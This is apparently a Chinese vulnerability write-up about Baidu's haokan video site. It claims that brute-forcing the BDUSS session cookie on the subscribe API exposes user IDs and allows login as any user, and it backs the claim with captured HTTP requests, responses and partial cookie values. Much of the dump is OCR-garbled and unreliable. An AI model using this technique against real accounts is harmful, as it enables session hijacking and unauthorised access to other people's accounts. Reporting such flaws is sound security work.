1.以看看视频为例
https://haokan.baidu.com/
关注时抓包
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2.对数据包分析发现，删除数据包数据，返回不变
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3.猜测BDUSS有漏洞点
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只剩下BDUSS发现返回了BAIDUID
考虑这是百度数据库的核心资产 。
4.于是发现可以对BDUSS进行逐位爆破，就可以无限获取到百度内部数据的用户ID形成任意用户登陆。
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Accept-Language: en-US, en; ¢=0. 5
Accept-Encoding: gzip, deflate

Referer: https: //haokan. baidu. con/author/1633093223863955
Content -Type: application/x-www-Forn-url encoded

Cacha-Contral: no-cache

Origin: https: //haokan. baidu. con

Content -Length: 30

Connaction: close

Cookie: BATDUID=CFTE252010FEDS2K19503AS79747ACO: FG=1; BIDUPSID=CF7E2S2DLDFEDO2A47529E7EQF23ELFE; PSTH1627200549; jck-uuide5bS63425-Fbif -45h3-9424.
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Request Response
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1 POST /videoui/api/subscribe HITP/1.1 1 HITP/11 200 0K

2 Host: haokan. baidu. con 2 Content-Length: 22

5 User-Agent: Mozilla/s.0 (XIL; Linux x85_64; rv:78.0) Gecko/20100101 Firsfox/78.0 5 Content-Type: spplication/json; charset-utf-8

4 hecept: */% 4 Date: Thu, 28 Apr 2022 12:38:56 GHT

5 Accept -Language: en-US,en; 0.5 5 Edocacart 23360415680832055527793002280042820

5 Accept-Encoding: gzip, deflate © Sarver: B0

7 Refarar: https: //haokan. baidu con/author/1639095223865555 7 Traceid: 165114353607523562340909224171185222308

5 Content Type: application/x-www-Forn-urlencodsd & Connection: close

5 Cacha-Cant ral: no-cache s

0 Origin: https: //haokan. baidu.con 0 ¢

1 Contant-Langth: 30

2 Connaction: close

3 Cookie: BATDUID=CFTE252010FEDS2KL9S03ASTS8747ACO: FG=1; BIDUPSID=CFTE2S2DLDFEDS2A47529ETE2F23ELFE;
PSTIE1627200543; sck-uidesbS63425 - FbF -45b3-3424-62F4292abeaT; BDUSS=
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HTTP/L 1 200 0K
Content -Length: 22

Content -Type:  application/json; charse
Date: Thu, 28 Apr 2022 12:35:27 GHT
Edocacart! 23676435371L630030930547027085042820
Servar: oS

Traceid: 1651145567023047783408428553432009618365
Connaction: clos

POST /videoui/api/subscribe HTTP/L 1
Host: haokan. baidu. con

User-Agent: Mozilla/5.0 (XI1; Linux x86.64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: %/

Accept Language: en-Us, en; 0.5

Accept-Encoding: gzip, deflate

Referer: https: //haokan. baidu. con/author/1633093223863955

Content -Type: application/x-www-Forn-url encoded

Cacha-Contral: no-cache

Origin: https: //haokan. baidu. con 10 {rstatus®:o,
Content -Length: 30

Connaction: close

Cookie: BATDUID=CFTE252010FEDS2K19903AS798747ACO: Fo=1; BIDUPSID=CF7E252DL0FEDS2A47529ETEZF 2381 E;

PSTIE1627200543; sck-uidesbS63425 - FbF -45b3-3424-62F4292abeaT; BDUSS=

ONVZHSkelrTG14U0NNUSL GaGNATRZnQO LKIF QLWL YNEVy e YUV -VOVGHUpPRUFQUFB1COARAARARARAREARACF JoTSARARR
AARARARARAARAARRAARARARAARARARRARARARAARAAARARRARAAAARARARAARAAARAARARAAAARARARATSK anKE mpiz;
Hn_Lvt_43add610dF 265972 Lef es265352hes=1651149350; |

-8

1
2
3
N
s
6

s

data: (1}

Spp_ick1639093223885995 5t ype=1




image4.png
Target: htpsi/

Request
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POST /videoui/api/subscribe HTTP/L 1
Host: haokan. baidu. con
User-Agent: Mozilla/s.0 (XI1; Linux x86_64;
Accept: %/
Accept Language: en-Us, en; 0.5
Accept-Encoding: gzip, deflate
Referer: https: //haokan. baidu. con/author/1633093223863955
Content -Type: application/x-www-Forn-url encoded
Cacha-Contral: no-cache
10 Origin: https: //haokan. baidu. con
10 Contant -Langth: 30
12 Connsction: closs
13 Cookie: BDUSS=
ONVZHSkelrTG1 4UONNUSL GaGIATRZnQOLKIF QL WHLYNEVy dhaY U\ -VOVGHUppRUFEQUFEICOARARAARARAREARACE J0TSARARAARARARAARARARARRARARAARARA
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7V:78.0) Gecko/20100101 Firefox/78.0
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Response
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HTTP/L 1 200 0K
Content -Length: 22

Content -Type:  application/json; charse
Date: Thu, 28 Apr 2022 12:30:3¢ GHT
Edocacart! 24341547952216085705170224294042820
P3p: CP=" OTT DSP COR TVA OUR IND COM *

Server: oS

Set-Cookie: BATDUTD=SDDSGIBODSDE4S403997E4A2FECFSS: FOL; expires=Fri, 28-Apr-23 12:40:34 GHT, max-age=3153
domaire. baidu. com;_versiorel

Traceid: 16511495JP41750093811109521 249489673078

Connsction: €L
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